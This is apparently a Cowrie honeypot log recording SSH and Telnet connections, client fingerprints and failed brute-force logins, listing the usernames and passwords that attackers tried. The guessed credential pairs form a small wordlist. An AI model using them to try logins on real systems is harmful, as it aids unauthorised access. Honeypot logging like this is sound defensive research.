{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":37530,"dst_ip":"10.17.0.5","dst_port":22,"session":"b945c9e4ee69","protocol":"ssh","message":"New connection: 103.172.78.219:37530 (10.17.0.5:22) [session: b945c9e4ee69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:04.381221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:04.386712Z","src_ip":"103.172.78.219","session":"b945c9e4ee69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:04.651292Z","src_ip":"103.172.78.219","session":"b945c9e4ee69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA@123321","message":"login attempt [root/aA@123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:05.074474Z","src_ip":"221.163.5.228","session":"113e6cb5b212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090979","message":"login attempt [root/090979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:05.447819Z","src_ip":"103.172.78.219","session":"b945c9e4ee69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:06.283226Z","src_ip":"221.163.5.228","session":"113e6cb5b212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:06.714670Z","src_ip":"103.172.78.219","session":"b945c9e4ee69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.196.152.31","src_port":34121,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6925ccbd5ee","protocol":"ssh","message":"New connection: 91.196.152.31:34121 (10.17.0.5:22) [session: b6925ccbd5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:12.817276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:13.017565Z","src_ip":"91.196.152.31","session":"b6925ccbd5ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:13.414171Z","src_ip":"91.196.152.31","session":"b6925ccbd5ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:14.428705Z","src_ip":"91.196.152.31","session":"b6925ccbd5ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":33708,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b54afe62b8e","protocol":"ssh","message":"New connection: 194.36.147.215:33708 (10.17.0.5:22) [session: 3b54afe62b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:15.278781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:15.282881Z","src_ip":"194.36.147.215","session":"3b54afe62b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:15.370245Z","src_ip":"194.36.147.215","session":"3b54afe62b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1mmut@bl3#P@ss","message":"login attempt [root/1mmut@bl3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:15.634511Z","src_ip":"194.36.147.215","session":"3b54afe62b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.227","src_port":33367,"dst_ip":"10.17.0.5","dst_port":22,"session":"d54d9d9886a6","protocol":"ssh","message":"New connection: 91.231.89.227:33367 (10.17.0.5:22) [session: d54d9d9886a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:16.215701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:16.266682Z","src_ip":"91.231.89.227","session":"d54d9d9886a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:16.721925Z","src_ip":"194.36.147.215","session":"3b54afe62b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:16.747883Z","src_ip":"91.231.89.227","session":"d54d9d9886a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:17.771474Z","src_ip":"91.231.89.227","session":"d54d9d9886a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42506,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1289f40de08","protocol":"telnet","message":"New connection: 170.64.224.25:42506 (159.203.135.109:23) [session: c1289f40de08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:36.851815Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":49394,"dst_ip":"159.203.135.109","dst_port":22,"session":"c33b1082dea8","protocol":"ssh","message":"New connection: 165.22.184.88:49394 (159.203.135.109:22) [session: c33b1082dea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:45.745184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:45.749430Z","src_ip":"165.22.184.88","session":"c33b1082dea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:45.754134Z","src_ip":"165.22.184.88","session":"c33b1082dea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein!@","message":"login attempt [root/letmein!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:45.767866Z","src_ip":"165.22.184.88","session":"c33b1082dea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:46.776628Z","src_ip":"165.22.184.88","session":"c33b1082dea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.79572653770447,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:48.016491Z","src_ip":"170.64.224.25","session":"ebb8382d83a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.878166913986206,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:49.064652Z","src_ip":"170.64.224.25","session":"e4f4d43ec342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41522,"dst_ip":"159.203.135.109","dst_port":23,"session":"d62baa7513df","protocol":"telnet","message":"New connection: 170.64.224.25:41522 (159.203.135.109:23) [session: d62baa7513df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:33:58.733614Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41526,"dst_ip":"159.203.135.109","dst_port":23,"session":"468e953de1eb","protocol":"telnet","message":"New connection: 170.64.224.25:41526 (159.203.135.109:23) [session: 468e953de1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:00.634882Z"}
{"eventid":"cowrie.session.closed","duration":4.79278826713562,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:05.427540Z","src_ip":"170.64.224.25","session":"468e953de1eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":42344,"dst_ip":"10.17.0.5","dst_port":22,"session":"5258acd25f6b","protocol":"ssh","message":"New connection: 213.202.230.81:42344 (10.17.0.5:22) [session: 5258acd25f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:14.528401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:14.533179Z","src_ip":"213.202.230.81","session":"5258acd25f6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:14.623357Z","src_ip":"213.202.230.81","session":"5258acd25f6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dominican","password":"SantoDomingo#Ethereum$P@ss!","message":"login attempt [dominican/SantoDomingo#Ethereum$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:14.890230Z","src_ip":"213.202.230.81","session":"5258acd25f6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:15.984378Z","src_ip":"213.202.230.81","session":"5258acd25f6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.59902596473694,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:26.450735Z","src_ip":"170.64.224.25","session":"c1289f40de08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36144,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a39cacf98d","protocol":"telnet","message":"New connection: 170.64.224.25:36144 (159.203.135.109:23) [session: b4a39cacf98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:40.398759Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36160,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d1476d2ae69","protocol":"telnet","message":"New connection: 170.64.224.25:36160 (159.203.135.109:23) [session: 1d1476d2ae69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:45.168980Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":55320,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e2c71a47adc","protocol":"ssh","message":"New connection: 192.163.244.125:55320 (10.17.0.5:22) [session: 3e2c71a47adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:47.834118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:47.837363Z","src_ip":"192.163.244.125","session":"3e2c71a47adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:47.914675Z","src_ip":"192.163.244.125","session":"3e2c71a47adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ag1x$M@st3r!W0rd","message":"login attempt [root/Ag1x$M@st3r!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:48.147709Z","src_ip":"192.163.244.125","session":"3e2c71a47adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:49.228014Z","src_ip":"192.163.244.125","session":"3e2c71a47adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":38658,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0eb652e22a5","protocol":"ssh","message":"New connection: 221.163.5.228:38658 (159.203.135.109:22) [session: c0eb652e22a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:55.612066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:55.618710Z","src_ip":"221.163.5.228","session":"c0eb652e22a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:55.814370Z","src_ip":"221.163.5.228","session":"c0eb652e22a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ui@123","message":"login attempt [root/Ui@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:56.631194Z","src_ip":"221.163.5.228","session":"c0eb652e22a5","protocol":"ssh"}
